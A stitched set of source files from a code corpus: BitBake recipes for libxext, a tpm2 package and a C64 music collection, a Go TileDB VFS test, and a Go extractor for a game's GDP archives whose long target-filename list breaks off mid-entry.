BBCLASSEXTEND = "cross crosssdk nativesdk"

repository: OSSystems/meta-chicken

repo_name: OSSystems/meta-chicken


text:
require libxext_${PV}.bb

DEPENDS = "xproto-sdk util-macros-sdk libx11-sdk libxau-sdk xextproto-sdk"
PROVIDES = ""

inherit sdk

SRC_URI[archive.md5sum] = "a91f1f722ac80c597cf0b75dcb8b48c0"
SRC_URI[archive.sha256sum] = "2dfd8eace1cafacc87b4055c57efeb771a740e24141d3f113de58c2a9eebd21f"


text:
include ${BPN}.inc

SRC_URI = "\
    https://github.com/tpm2-software/${BPN}/releases/download/${PV}/${BPN}-${PV}.tar.gz \
    file://0001-test-fix-yaml.load-warning.patch \
    file://0002-test-only-support-python3.patch \
"
SRC_URI[md5sum] = "17f22e9b47682f4601eb55324282ad6e"
SRC_URI[sha256sum] = "568ff32f99e0835db5d8cea2dce781b6cd6c1034026514240995dae5d9e728b0"

S = "${WORKDIR}/${BPN}-${PV}"

gha_language: BitBake


text:
package tiledb

import (
	"fmt"
	"os"
	"testing"

	"github.com/stretchr/testify/assert"
)

// TestVFS validates vfs file operations are successful
func TestVFS(t *testing.T) {
	config, err := NewConfig()
	assert.Nil(t, err)

	context, err := NewContext(config)
	assert.Nil(t, err)

	vfs, err := NewVFS(context, config)
	assert.Nil(t, err)

	tmpPath := os.TempDir() + string(os.PathSeparator) + "tiledb_test_vfs"
	defer os.Remove(tmpPath)
	if _, err = os.Stat(tmpPath); err == nil {
		os.Remove(tmpPath)
	}

	tmpFilePath := os.TempDir() + string(os.PathSeparator) + "tiledb_test_vfs" + string(os.PathSeparator) + "file_test"
	defer os.Remove(tmpPath)
	if _, err = os.Stat(tmpPath); err == nil {
		os.Remove(tmpPath)
	}

	isFile, err := vfs.IsFile(tmpPath)
	assert.Nil(t, err)
	assert.False(t, isFile)

	isDir, err := vfs.IsDir(tmpPath)
	assert.Nil(t, err)
	assert.False(t, isDir)

	// Create directory
	err = vfs.CreateDir(tmpPath)
	assert.Nil(t, err)

	isDir, err = vfs.IsDir(tmpPath)
	assert.Nil(t, err)
	assert.True(t, isDir)

	// Create File
	err = vfs.Touch(tmpFilePath)
	assert.Nil(t, err)

	fh, err := vfs.Open(tmpFilePath, TILEDB_VFS_WRITE)
	assert.Nil(t, err)

	bytes := []byte{0, 1, 2}
	err = vfs.Write(fh, bytes)
	assert.Nil(t, err)

	bytes2, err := vfs.Read(fh, 0, uint64(len(bytes)))
	assert.Nil(t, err)
	assert.EqualValues(t, bytes, bytes2)

	dirSize, err := vfs.DirSize(tmpPath)
	assert.Nil(t, err)
	assert.EqualValues(t, 3, dirSize)

	// Remove File
	err = vfs.RemoveFile(tmpFilePath)
	assert.Nil(t, err)

	// Remove directory
	err = vfs.RemoveDir(tmpPath)
	assert.Nil(t, err)
}

// ExampleNewVFS show basic usage of tiledb's vfs functionality
func ExampleNewVFS() {
	// Create a new config
	config, err := NewConfig()
	if err != nil {
		// return err
	}
	// Optionally set config settings here
	// config.Set("key", "value")

	// Create a context
	context, err := NewContext(config)
	if err != nil {
		// return err
	}

	// Create a VFS instance
	vfs, err := NewVFS(context, config)
	if err != nil {
		// return err
	}

	uri := "file:///tmp/tiledb_example_folder"
	// Check if directory exists
	if isDir, err := vfs.IsDir(uri); err != nil {
		fmt.Println(err)
	} else {
		// Directory exists
		if isDir {
			fmt.Println("URI is a directory")
			// Output: URI is a directory
		} else {
			fmt.Println("URI is not a directory")
			// Output: URI is not a directory
		}
	}
}


text:
DESCRIPTION = "The High Voltage SID Collection (HVSC) \
Commodore 64 music for the masses"
LICENSE = "PD"
SECTION = "multimedia"
HOMEPAGE = "http://www.dottyflowers.com/HVSC/"

SRC_URI = "http://www.dottyflowers.com/HVSC/HVSC_${PV}-all-of-them.rar"
S = "${WORKDIR}"

do_install() {
	install -d ${D}${datadir}/hvsc
	cd ${D}${datadir}/hvsc && unrar x ${S}/HVSC_${PV}-all-of-them.rar
}

PACKAGE_ARCH = "all"
FILES = "${datadir}/hvsc"

SRC_URI[md5sum] = "5394dac412dbe34d2dfe63cb91bdce8d"
SRC_URI[sha256sum] = "6068499eeb3aad19d2f860390c65496cf38c5f5e5b54422db6ec2f67abbb8d10"

repository: overo/overo-oe-natty

repo_name: overo/overo-oe-natty

branch_name: HEAD


text:
package handlers

import (
	"encoding/binary"
	"fmt"
	"github.com/go-restruct/restruct"
	"github.com/google/logger"
	"github.com/segmentio/ksuid"
	"github.com/spf13/cobra"
	"io/ioutil"
	"os"
	"path/filepath"
	"runtime"
	"strings"
)

type ExtractCmd struct {
	Path             string
	StoreServerFiles bool
	ServerFilesPath  string
}

type GDP struct {
	Type string `struct:"[3]byte"`
	UnkData1 [5]byte
	Version string `struct:"[260]byte"`
	Num1 uint32
	NumOfFiles uint32
	UnkData3 [40]byte
	Files []File `struct-size:"NumOfFiles - 1"`
}

type File struct {
	Num0 uint64
	Name string `struct:"[264]byte"`
	Offset uint64
	Size uint64
	Num3 uint64
	UnkData4 [20]byte
	Data []byte
}

func Extract(cmd *cobra.Command, args []string) {
	runtime.GOMAXPROCS(runtime.NumCPU())
	restruct.EnableExprBeta()

	log = logger.Init("extract logger", true, true, ioutil.Discard)

	if err := cmd.Flags().Parse(args); err != nil {
		log.Fatal(err)
	}

	sourcePath, _ := cmd.Flags().GetString("source")
	destinationPath, _ := cmd.Flags().GetString("destination")
	//accumulative, _ := cmd.Flags().GetBool("accumulative")
	serverFiles, _ := cmd.Flags().GetBool("server-files")
	serverFilesPath, _ := cmd.Flags().GetString("server-files-path")

	absSourcePath, err := filepath.Abs(sourcePath)
	if err != nil {
		log.Fatal(err)
	}
	absDestinationPath, err := filepath.Abs(destinationPath)

	if err != nil {
		log.Fatal(err)
	}

	_, err = os.Stat(absDestinationPath)
	if err == os.ErrNotExist {
		err := os.Mkdir(absDestinationPath, 0700)
		if err != nil {
			log.Fatal(err)
		}
	} else if err == os.ErrExist {
		err := os.RemoveAll(absDestinationPath)
		if err != nil {
			log.Fatal(err)
		}
	}

	ec := ExtractCmd{
		Path:             absDestinationPath,
		StoreServerFiles: serverFiles,
		ServerFilesPath:  serverFilesPath,
	}

	files, err := ioutil.ReadDir(absSourcePath)
	if err != nil {
		log.Fatal(err)
	}

	for _, f := range files {
		fPath := fmt.Sprintf("%v/%v", absSourcePath, f.Name())
		absFPath, err := filepath.Abs(fPath)
		if err != nil {
			log.Fatal(err)
		}
		ec.extract(absFPath, f.Name())
	}
}

func (ec *ExtractCmd) extract(path string, folderName string) {

	data, err := ioutil.ReadFile(path)
	if err != nil {
		log.Fatal(err)
	}

	var gf GDP

	err = restruct.Unpack(data, binary.LittleEndian, &gf)

	if err != nil {
		log.Errorf("%v %v", folderName, err)
	}
	eof := false
	for _, f := range gf.Files {
		if eof {
			return
		}

		var directories string

		if ec.StoreServerFiles {
			directories =  ec.ServerFilesPath + "/" + "/"
		} else {
			directories =  ec.Path + "/" + folderName + "/"
		}

		segments := strings.Split(f.Name, "\\")

		if !ec.StoreServerFiles {
			for i := 1; i < len(segments)-1; i++ {

				if i != 1 {
					directories += "/"
				}

				directories += segments[i]
			}
		}

		isServerFile := make(map[string]bool)
		interestingFiles := "Fiesta.pdb,BH_Helga.lua,BH_Helga.luac,BH_Humar.lua,BH_Humar.luac,Chimera.lua,NPC_AutoLevel.lua,Psy_Psyken.lua,AbStateSaveTypeInfo.shn,AccUpGradeInfo.shn,AccUpgrade.shn,ActionEffectAbState.shn,ActionRangeFactor.shn,ActiveSkillInfoServer.shn,AdminLvSet.shn,ArkAstanica_Skill01_W.bmp,ArkAstron_Skill02_W.bmp,ArkAstron_Skill02_W_Test.bmp,B_Albireo_Skill01_W.bmp,B_Albireo_Skill02_W.bmp,Chimera_Skill_W03_2.BMP,Eglack_Skill05_W.bmp,FinalLight.bmp,KDFargels_DKnight_Skill01_W_G.bmp,KDFargels_DKnight_Skill02_W_G.bmp,KDFargels_Skill01_W_g.bmp,KDFargels_Skill02_W_g.bmp,KDFargels_Spearman_Skill01_W.bmp,LightShot01.bmp,LightShot02.bmp,LightShot03.bmp,SD_DragonSkill05_W.bmp,SD_DragonSkill07_W_g.bmp,SD_DragonSkill07_W_g1.bmp,SD_DragonSkill07_W_g2.bmp,SD_DragonSkill07_W_g3.bmp,SD_DragonSkill07_W_g4.bmp,SD_KingCrabSkill06_W_g.bmp,SD_KingCrabSkill08_W.bmp,SW_FAvanas_Skill01_W.BMP,SW_FAvanas_Skill02_W.BMP,SW_FAvanas_Skill03_W.BMP,SW_FCitrie_Skill07_W.bmp,SW_FFocalor_Skill04_W.BMP,SW_FFocalor_Skill05_N.bmp,SW_FFocalor_Skill05_N_01.bmp,SW_FFocalor_Skill05_N_02.bmp,SW_FFocalor_Skill05_N_03.bmp,SW_FFocalor_Skill05_N_04.bmp,SW_FFocalor_Skill05_N_05.bmp,SW_IFocalor_Skill04_W_01.bmp,SW_IFocalor_Skill04_W_02.bmp,SW_IFocalor_Skill04_W_03.BMP,SW_IFocalor_Skill04_W_04.BMP,SW_IFocalor_Skill04_W_05.BMP,S_Anais_Skill02_W_01.bmp,S_Anais_Skill02_W_02.bmp,S_Anais_Skill02_W_03.bmp,S_FreloanLeg_Skill01_W.bmp,S_Freloan_Skill01_W_01.bmp,S_Freloan_Skill01_W_02.bmp,S_Freloan_Skill01_W_03.bmp,S_Freloan_Skill01_W_04.bmp,S_Freloan_Skill01_W_05.bmp,S_Freloan_Skill02_W.bmp,S_Varamus_Skill02_W.bmp,Thumbs.db,WarH_BossRoom.bmp,AreaSkill.shn,AttendSchedule.shn,BMP.shn,BRAccUpgrade.shn,BelongDice.shn,B_AHarp.shmd,B_Trini.shmd,Eld.shmd,Job2_Dn01.shmd,KDArena.shab,KDCake.shab,KDFargels.shmd,KDHBat1.shab,KDWater.shab,Leviathan.shab,Maghda.shmd,NewTower.shmd,OX_field.shmd,Rou.shmd,RouCos01.shmd,RouCos02.shmd,RouCos03.shmd,RouTemDn01.shab,RouVal01.shmd,Tower02.shab,UrgDragon.shab,UrgDragon.shad,UrgFire01.shmd,CharacterTitleStateServer.shn,CollectCardDropRate.shn,CollectCardMobGroup.shn,CollectCardStarRate.shn,DamageLvGapEVP.shn,DamageLvGapPVE.shn,DamageLvGapPVP.shn,DefaultCharacterData.txt,DiceGame.shn,DiceRate.shn,EnchantSocketRate.shn,FieldLvCondition.shn,FriendPointReward.shn,GBBanTime.shn,GBDiceGame.shn,GBDiceRate.shn,GBEventCode.shn,GBExchangeMaxCoin.shn,GBJoinGameMember.shn,GBReward.shn,GBSMAll.shn,GBSMBetCoin.shn,GBSMCardRate.shn,GBSMCenter.shn,GBSMGroup.shn,GBSMJPRate.shn,GBSMLine.shn,GBSMNPC.shn,GBTaxRate.shn,GTIBreedSubject.shn,GTIGetRate.shn,GTIGetRateGap.shn,GTIServer.shn,GTWinScore.shn,GroupAbState.shn,GuildAcademy.shn,GuildAcademyLevelUp.shn,GuildAcademyRank.shn,GuildGradeData.shn,GuildGradeScoreData.shn,GuildLevelScoreData.shn,GuildTournament.shn,GuildTournamentLvGap.shn,GuildTournamentMasterBuff.shn,GuildTournamentOccupy.shn,GuildTournamentReward.shn,GuildTournamentScore.shn,HolyPromiseReward.shn,ItemDropLog.shn,ItemInfoServer.shn,ItemInvenDel.shn,ItemMerchantInfo.shn,ItemOptions.shn,ItemPackage.shn,ItemServerEquipTypeInfo.shn,ItemShop.shn,ItemSort.shn,ItemUpgrade.shn,ItemUseEffect.shn,JobEquipInfo.shn,KQItem.shn,KingdomQuest.shn.bak,KingdomQuestMap.shn,KingdomQuestRew.shn,LCGroupRate.shn,LCReward.shn,BH_Albireo.lua,BH_Helga.lua,BH_Helga.luac,BH_Humar.lua,BH_Humar.luac,B_Albireo.lua,BallEgg.lua,Chimera.lua,ClassChangeMaster01.lua,ClassChangeMaster02.lua,ClassChangeMaster03.lua,Defense.lua,E_CacaoBud.lua,E_HwinIn.lua,E_HwinOut.lua,E_MomSlime.lua,E_Ski_CongressNPC.lua,E_XTreeBig.lua,Egg2014_GoldEgg.lua,EldCastleLordElderiss.lua,NPC_AutoLevel.lua,Oluming.lua,Psy_Psyken.lua,Toryming.lua,Xiaoming.lua,CrystalCH.lua,Boss.lua,Chat.lua,NPC.lua,Name.lua,Process.lua,Regen.lua,Progress.lua,Routine.lua,SubFunc.lua,CrystalCastle.lua,Boss.lua,Chat.lua,NPC.lua,Name.lua,Process.lua,Regen.lua,Progress.lua,Routine.lua,SubFunc.lua,AHarp.lua,AHarp_Data.lua,AdlF.lua,AdlF_Gate.lua,AdlF_Guarder.lua,AdlF_Karen.lua,AdlF_Loussier.lua,AdlF_MagicStone.lua,AdlF_Zone1.lua,AdlF_Zone2.lua,AdlF_Zone3.lua,AdlF_Zone4.lua,AdlFH.lua,AdlFH_Gate.lua,AdlFH_Guarder.lua,AdlFH_Karen.lua,AdlFH_Loussier.lua,AdlFH_MagicStone.lua,AdlFH_Zone1.lua,AdlFH_Zone2.lua,AdlFH_Zone3.lua,AdlFH_Zone4.lua,Bla.lua,Boss.lua,Chat.lua,Name.lua,Process.lua,Regen.lua,Stuff.lua,Progress.lua,Routine.lua,SubFunc.lua,CrystalCH.lua,Boss.lua,Chat.lua,NPC.lua,Name.lua,Process.lua,Regen.lua,Progress.lua,Routine.lua,SubFunc.lua,CrystalCastle.lua,Boss.lua,Chat.lua,NPC.lua,Name.lua,Process.lua,Regen.lua,Progress.lua,Routine.lua,SubFunc.lua,Boss.lua,Chat.lua,Name.lua,Process.lua,Regen.lua,Stuff.lua,Progress.lua,Routine.lua,SubFunc.lua,GraveYard.lua,Boss.lua,Chat.lua,Name.lua,Process.lua,Regen.lua,Stuff.lua,Progress.lua,Routine.lua,SubFunc.lua,GraveYardH.lua,Boss.lua,NPC.lua,Name.lua,Process.lua,Regen.lua,Progress.lua,Routine.lua,SubFunc.lua,IyzelTower.lua,Boss.lua,NPC.lua,Name.lua,Process.lua,Regen.lua,Progress.lua,Routine.lua,SubFunc.lua,IyzelTowerH.lua,Chat.lua,Name.lua,Process.lua,Regen.lua,Progress.lua,Routine.lua,SubFunc.lua,Leviathan.lua,Chat.lua,Name.lua,Process.lua,Regen.lua,Progress.lua,Routine.lua,SubFunc.lua,LeviathanH.lua,Chat.lua,Name.lua,Process.lua,Regen.lua,SkillInfo_KingCrab.lua,SkillInfo_KingSlime.lua,SkillInfo_MiniDragon.lua,Progress.lua,Routine.lua,Routine_KingCrab.lua,Routine_KingSlime.lua,Routine_MiniDragon.lua,SubFunc.lua,SD_Vale01.lua,Boss.lua,Chat.lua,NPC.lua,Name.lua,Process.lua,Regen.lua,Progress.lua,Routine.lua,SubFunc.lua,SecretLab.lua,Boss.lua,Chat.lua,NPC.lua,Name.lua,Process.lua,Regen.lua,Progress.lua,Routine.lua,SubFunc.lua,SecretLabH.lua,Boss.lua,Chat.lua,Name.lua,Process.lua,Regen.lua,Stuff.lua,Progress.lua,Routine.lua,SubFunc.lua,Siren.lua,Boss.lua,Chat.lua,Name.lua,Process.lua,Regen.lua,Stuff.lua,Progress.lua,Routine.lua,SubFunc.lua,SirenH.lua,WarBL.lua,WarBLData.lua,WarBLDeInitFuntion.lua,WarBLEventMobRoutine.lua,WarBLEventRoutine.lua,WarBLInitFuntion.lua,WarBLH.lua,WarBLHData.lua,WarBLHDeInitFuntion.lua,WarBLHEventMobRoutine.lua,WarBLHEventRoutine.lua,WarBLHInitFuntion.lua,WarH.lua,WarHData.lua,WarHDeInitFunction.lua,WarHEventMobRoutine.lua,WarHEventRoutine.lua,WarHFunction.lua,WarHInitFunction.lua,WarHH.lua,WarHHData.lua,WarHHDeInitFunction.lua,WarHHEventMobRoutine.lua,WarHHEventRoutine.lua,WarHHFunction.lua,WarHHInitFunction.lua,WarL.lua,WarLData.lua,WarLDeInitFuntion.lua,WarLEventMobRoutine.lua,WarLEventRoutine.lua,WarLInitFuntion.lua,WarLH.lua,WarLHData.lua,WarLHDeInitFuntion.lua,WarLHEventMobRoutine.lua,WarLHEventRoutine.lua,WarLHInitFuntion.lua,WarN.lua,WarNData.lua,WarNFunc.lua,WarNRoutine.lua,WarNH.lua,WarNHData.lua,WarNHFunc.lua,WarNHRoutine.lua,AntiHenis.lua,Boss.lua,NPC.lua,Name.lua,Process.lua,Regen.lua,Progress.lua,Routine.lua,SubFunc.lua,Boss.lua,NPC.lua,Name.lua,Process.lua,Regen.lua,EmperorSlime.lua,Progress.lua,Routine.lua,SubFunc.lua,Boss.lua,ItemDrop.lua,Name.lua,Process.lua,Regen.lua,Progress.lua,Routine.lua,SubFunc.lua,GoldHill.lua,Boss.lua,Name.lua,Process.lua,Regen.lua,Progress.lua,Routine.lua,SubFunc.lua,HMiniDragon.lua,Monster.lua,NPC.lua,Process.lua,Name.lua,Regen.lua,Name.lua,Regen.lua,Name.lua,Regen.lua,Name.lua,Regen.lua,Name.lua,Regen.lua,Name.lua,Regen.lua,Progress.lua,Routine.lua,SubFunc.lua,KDArena.lua,KDArena1.lua,KDArena2.lua,KDArena3.lua,KDArena4.lua,KDArena5.lua,KDArena6.lua,Name.lua,Process.lua,Regen.lua,Servant.lua,Progress.lua,Routine.lua,SubFunc.lua,KDCake.lua,KDEgg.lua,KDEggData.lua,KDEggFunc.lua,KDEggObjectRoutine.lua,Boss.lua,Name.lua,Process.lua,Regen.lua,Progress.lua,Routine.lua,SubFunc.lua,KDFargels.lua,KDMine.lua,KDMineData.lua,KDMineFunc.lua,KDMineObjectRoutine.lua,NPC.lua,Name.lua,Process.lua,Regen.lua,Progress.lua,Routine.lua,SubFunc.lua,KDSoccer.lua,NPC.lua,Name.lua,Process.lua,Regen.lua,Progress.lua,Routine.lua,SubFunc.lua,KDSoccer_W.lua,KDSpring.lua,KDSpring_Data.lua,KDSpring_StepFunc.lua,Name.lua,Process.lua,Regen.lua,Servant.lua,Progress.lua,Routine.lua,SubFunc.lua,KDWater.lua,Boss.lua,NPC.lua,Name.lua,Process.lua,Regen.lua,Progress.lua,Routine.lua,SubFunc.lua,KingSlime.lua,Boss.lua,NPC.lua,Name.lua,Process.lua,Regen.lua,Progress.lua,Routine.lua,SubFunc.lua,KingSlime2.lua,Boss.lua,NPC.lua,Name.lua,Process.lua,Regen.lua,Progress.lua,Routine.lua,SubFunc.lua,KingSlime3.lua,Boss.lua,NPC.lua,Name.lua,Process.lua,Regen.lua,Progress.lua,Routine.lua,SubFunc.lua,KingSlime4.lua,Boss.lua,Name.lua,Process.lua,Regen.lua,Progress.lua,Routine.lua,SubFunc.lua,Kingkong.lua,NPC.lua,Name.lua,Process.lua,Regen.lua,Progress.lua,Routine.lua,SubFunc.lua,LegendOfBijou.lua,Boss.lua,NPC.lua,Name.lua,Process.lua,Regen.lua,Progress.lua,Routine.lua,SubFunc.lua,MaraPirate.lua,Boss.lua,Name.lua,Process.lua,Regen.lua,Progress.lua,Routine.lua,SubFunc.lua,MiniDragon.lua,Name.lua,Process.lua,Regen.lua,Dice.lua,Progress.lua,Routine.lua,SubFunc.lua,Infect.lua,Infect_Data.lua,Infect.lua,Infect_Data.lua,MegaMob.lua,MegaMob_Data.lua,MegaMob.lua,MegaMob_Data.lua,MegaMob.lua,MegaMob_Data.lua,RouN.lua,PetBase.lua,PetBaseActionData.lua,PetBaseIdleActionFunc.lua,PetBaseRoutineFunc.lua,PetBaseSettingFunc.lua,PetBaseSubFunc.lua,PetCommon.lua,SubFunc.lua,Chat.lua,Name.lua,Process.lua,Regen.lua,Progress.lua,Routine.lua,SubFunc.lua,Job2_Forest.lua,Name.lua,Process.lua,Regen.lua,Progress.lua,Routine.lua,SubFunc.lua,Job2_Gamb.lua,Tutorial.lua,TutorialData.lua,common.lua,MapBuff.shn,MiniHouseDummy.shn,MobAbStateDropSetting.shn,AdlFH_Eglack.txt,AdlFH_EglackMad.txt,AdlFH_Fknuckleman.txt,AdlFH_Salare.txt,AdlF_Fknuckleman.txt,AngelicKaren.txt,Anti_Henis_A100.txt,Anti_Henis_A101.txt,Anti_Henis_A102.txt,Anti_Henis_A103.txt,Anti_Henis_A104.txt,Anti_Henis_A105.txt,Anti_Henis_A106.txt,Anti_Henis_A107.txt,Anti_Henis_A108.txt,Anti_Henis_A109.txt,Anti_Henis_A110.txt,Anti_Henis_A60.txt,Anti_Henis_A61.txt,Anti_Henis_A62.txt,Anti_Henis_A63.txt,Anti_Henis_A64.txt,Anti_Henis_A65.txt,Anti_Henis_A66.txt,Anti_Henis_A67.txt,Anti_Henis_A68.txt,Anti_Henis_A69.txt,Anti_Henis_A70.txt,Anti_Henis_A90.txt,Anti_Henis_A92.txt,Anti_Henis_A94.txt,Anti_Henis_A95.txt,Anti_Henis_A96.txt,Anti_Henis_A98.txt,Anti_Henis_A99.txt,Anti_Henis_C100.txt,Anti_Henis_C101.txt,Anti_Henis_C102.txt,Anti_Henis_C103.txt,Anti_Henis_C104.txt,Anti_Henis_C105.txt,Anti_Henis_C106.txt,Anti_Henis_C107.txt,Anti_Henis_C108.txt,Anti_Henis_C109.txt,Anti_Henis_C110.txt,Anti_Henis_C60.txt,Anti_Henis_C61.txt,Anti_Henis_C62.txt,Anti_Henis_C63.txt,Anti_Henis_C64.txt,Anti_Henis_C65.txt,Anti_Henis_C66.txt,Anti_Henis_C67.txt,Anti_Henis_C68.txt,Anti_Henis_C69.txt,Anti_Henis_C70.txt,Anti_Henis_C90.txt,Anti_Henis_C94.txt,Anti_Henis_C95.txt,Anti_Henis_C96.txt,Anti_Henis_C97.txt,Anti_Henis_C98.txt,Anti_Henis_C99.txt,Anti_Henis_F100.txt,Anti_Henis_F101.txt,Anti_Henis_F102.txt,Anti_Henis_F103.txt,Anti_Henis_F104.txt,Anti_Henis_F105.txt,Anti_Henis_F106.txt,Anti_Henis_F107.txt,Anti_Henis_F108.txt,Anti_Henis_F109.txt,Anti_Henis_F110.txt,Anti_Henis_F60.txt,Anti_Henis_F61.txt,Anti_Henis_F62.txt,Anti_Henis_F63.txt,Anti_Henis_F64.txt,Anti_Henis_F65.txt,Anti_Henis_F66.txt,Anti_Henis_F67.txt,Anti_Henis_F68.txt,Anti_Henis_F69.txt,Anti_Henis_F70.txt,Anti_Henis_F90.txt,Anti_Henis_F92.txt,Anti_Henis_F94.txt,Anti_Henis_F95.txt,Anti_Henis_F96.txt,Anti_Henis_F97.txt,Anti_Henis_F98.txt,Anti_Henis_F99.txt,Anti_Henis_G_A10.txt,Anti_Henis_G_A100.txt,Anti_Henis_G_A110.txt,Anti_Henis_G_A120.txt,Anti_Henis_G_A20.txt,Anti_Henis_G_A30.txt,Anti_Henis_G_A40.txt,Anti_Henis_G_A50.txt,Anti_Henis_G_A60.txt,Anti_Henis_G_A70.txt,Anti_Henis_G_A80.txt,Anti_Henis_G_A90.txt,Anti_Henis_G_C10.txt,Anti_Henis_G_C100.txt,Anti_Henis_G_C110.txt,Anti_Henis_G_C120.txt,Anti_Henis_G_C20.txt,Anti_Henis_G_C30.txt,Anti_Henis_G_C40.txt,Anti_Henis_G_C50.txt,Anti_Henis_G_C60.txt,Anti_Henis_G_C70.txt,Anti_Henis_G_C80.txt,Anti_Henis_G_C90.txt,Anti_Henis_G_F10.txt,Anti_Henis_G_F100.txt,Anti_Henis_G_F110.txt,Anti_Henis_G_F120.txt,Anti_Henis_G_F20.txt,Anti_Henis_G_F30.txt,Anti_Henis_G_F40.txt,Anti_Henis_G_F50.txt,Anti_Henis_G_F60.txt,Anti_Henis_G_F70.txt,Anti_Henis_G_F80.txt,Anti_Henis_G_F90.txt,Anti_Henis_G_M10.txt,Anti_Henis_G_M100.txt,Anti_Henis_G_M110.txt,Anti_Henis_G_M120.txt,Anti_Henis_G_M20.txt,Anti_Henis_G_M30.txt,Anti_Henis_G_M40.txt,Anti_Henis_G_M50.txt,Anti_Henis_G_M60.txt,Anti_Henis_G_M70.txt,Anti_Henis_G_M80.txt,Anti_Henis_G_M90.txt,Anti_Henis_M100.txt,Anti_Henis_M101.txt,Anti_Henis_M102.txt,Anti_Henis_M103.txt,Anti_Henis_M104.txt,Anti_Henis_M105.txt,Anti_Henis_M106.txt,Anti_Henis_M107.txt,Anti_Henis_M108.txt,Anti_Henis_M109.txt,Anti_Henis_M110.txt,Anti_Henis_M60.txt,Anti_Henis_M61.txt,Anti_Henis_M62.txt,Anti_Henis_M63.txt,Anti_Henis_M64.txt,Anti_Henis_M65.txt,Anti_Henis_M66.txt,Anti_Henis_M67.txt,Anti_Henis_M68.txt,Anti_Henis_M69.txt,Anti_Henis_M70.txt,Anti_Henis_M90.txt,Anti_Henis_M91.txt,Anti_Henis_M92.txt,Anti_Henis_M95.txt,Anti_Henis_M96.txt,Anti_Henis_M97.txt,Anti_Henis_M98.txt,Anti_Henis_M99.txt,BH_Albireo.txt,BH_Guardian.txt,BH_Helga.txt,BH_Humar.txt,BH_Looter.txt,B_Albireo.txt,B_CrackerGuardian.txt,B_CrackerHumar.txt,B_CrackerLooter.txt,BomBoogy01.txt,BomBoogy02.txt,BomBoogy03.txt,BomBoogy04.txt,BoogyGuardian.txt,C_JewelGolem.txt,Chimera.txt,DT_FFocalor.txt,DT_FFocalor_C.txt,DT_IFocalor_C.txt,DT_Ifocalor.txt,DT_SFocalor.txt,DT_SFocalor_C.txt,DT_TFocalor.txt,DT_TFocalor_C.txt,Eglack.txt,EglackMad.txt,EmperorCrab.txt,Event_H_MiniDragon.txt,FireTotem.txt,Firepamelia.txt,Helga.txt,ID_BigMudMan.txt,ID_EarthCalerben.txt,ID_EarthNerpa.txt,ID_FandomCornelius.txt,ID_FireShella.txt,ID_FireTaitan.txt,ID_FlameSpirit.txt,ID_GiantMagmaton.txt,ID_Kruge.txt,ID_NestAlca.txt,ID_NestBaridon.txt,ID_NestGuardian.txt,ID_NestMadSlug.txt,ID_NestWeasel.txt,ID_Weasel.txt,KDFargels.txt,KQ_H_MiniDragon.txt,KQ_KalBanObeb.txt,Karen.txt,KillerHide.txt,KingBoogy.txt,LabH_19.txt,LabH_20.txt,LabH_23.txt,LabH_25.txt,Lab_19.txt,Lab_20.txt,Lab_23.txt,Lab_25.txt,LevH_EmperorCrab.txt,LevH_ID_NestAlca.txt,LevH_ID_NestBaridon.txt,LevH_KingBoogy.txt,LevH_ViciousLeviathan.txt,LevH_ViciousLeviathan01.txt,Maghda.txt,MasicStaff.txt,NT_C_JewelGolem.txt,NT_DT_IFocalor.txt,NT_DT_SFocalor.txt,NT_DT_TFocalor.txt,NT_Eglack.txt,NT_EmperorCrab.txt,NT_ID_BigMudMan.txt,NT_ID_FandomCornelius.txt,NT_ID_FireTaitan.txt,NT_ID_GiantMagmaton.txt,NT_ID_Weasel.txt,NT_KingBoogy.txt,NT_Lab_19.txt,NT_Lab_20.txt,NT_Lab_23.txt,NT_Lab_25.txt,NT_Psyken.txt,NT_T_DustGolem.txt,NT_T_IronGolem.txt,NT_T_PoisonGolem.txt,NT_T_StoneGolem.txt,NT_ViciousLeviathan01.txt,P_Psy_Mist1.txt,P_Psy_Mist2.txt,P_Psy_Mist3.txt,Psy_Mist.txt,Psy_Psyken.txt,Psy_Wraith.txt,Psyken.txt,SD_Dragon.txt,SD_KingCrab.txt,SD_KingSlime.txt,Salare.txt,Silberk.txt,T_ArchMageBook00.txt,T_ArchMageBook01.txt,T_Boar.txt,T_DesertWolf.txt,T_DustGolem.txt,T_FlyingStaff00.txt,T_FlyingStaff01.txt,T_GangImp.txt,T_Ghost.txt,T_HungryWolf.txt,T_IceViVi.txt,T_Imp.txt,T_IronGolem.txt,T_IronSlime00.txt,T_IronSlime01.txt,T_Kamaris01.txt,T_Kamaris02.txt,T_Kebing.txt,T_KingCall.txt,T_KingSpider.txt,T_OldFox.txt,T_PoisonGolem.txt,T_Prock.txt,T_Ratman.txt,T_SkelArcher00.txt,T_SkelArcher01.txt,T_SkelArcher02.txt,T_SkelWarrior.txt,T_Skeleton.txt,T_Spider00.txt,T_Spider01.txt,T_StoneGolem.txt,T_Zombie.txt,TestFireTotem.txt,TestSilberk02.txt,UrgDTH_ID_BigMudMan.txt,UrgDTH_ID_EarthCalerben.txt,UrgDTH_ID_EarthNerpa.txt,UrgDTH_ID_FandomCornelius.txt,UrgDTH_ID_FireShella.txt,UrgDTH_ID_FireTaitan.txt,UrgDTH_ID_FlameSpirit.txt,UrgDTH_ID_GiantMagmaton.txt,UrgDTH_ID_Kruge.txt,UrgDTH_ID_Weasel.txt,ViciousLeviathan.txt,ViciousLeviathan01.txt,WarH_FAvanas2.txt,MobAutoAction.shn,DefaultBehavior.ps,BossRobo.ps,EndlessMaze.ps,GordonMaster.ps,KingSlime.ps,MaraPirate.ps,TravelerDungeon.ps,UnderHall.ps,MobConditionServer.shn,MobInfoServer.shn,MobKillAble.shn,MobKillAnnounce.shn,MobKillLog.shn,MobLifeTime.shn,Adl.txt,AdlThorn01.txt,AdlVal01.txt,AlDn01.txt,AlDn02.txt,ArkDn01.txt,ArkDn02.txt,BH_Albi.txt,BH_Cracker.txt,BH_Helga.txt,B_Albi.txt,B_Cracker.txt,BerFrz01.txt,BerKal01.txt,BerVale01.txt,BerVale02.txt,Bera.txt,CemDn01.txt,CemDn02.txt,E_Hwin.txt,E_Olympic.txt,EchoCave.txt,Eld.txt,EldCem01.txt,EldCem02.txt,EldFor01.txt,EldGbl01.txt,EldGbl02.txt,EldPri01.txt,EldPri02.txt,EldPriDn01.txt,EldPriDn02.txt,EldSleep01.txt,ElfDn01.txt,ElfDn02.txt,Fbattle01.txt,Fbattle02.txt,Fbattle03.txt,FireDn01.txt,FireDn02.txt,ForDn01.txt,ForDn02.txt,GBHouse.txt,GblDn01.txt,GblDn02.txt,GoldCave.txt,GuildT0400.txt,GuildT0401.txt,GuildT0402.txt,GuildT0403.txt,GuildT0404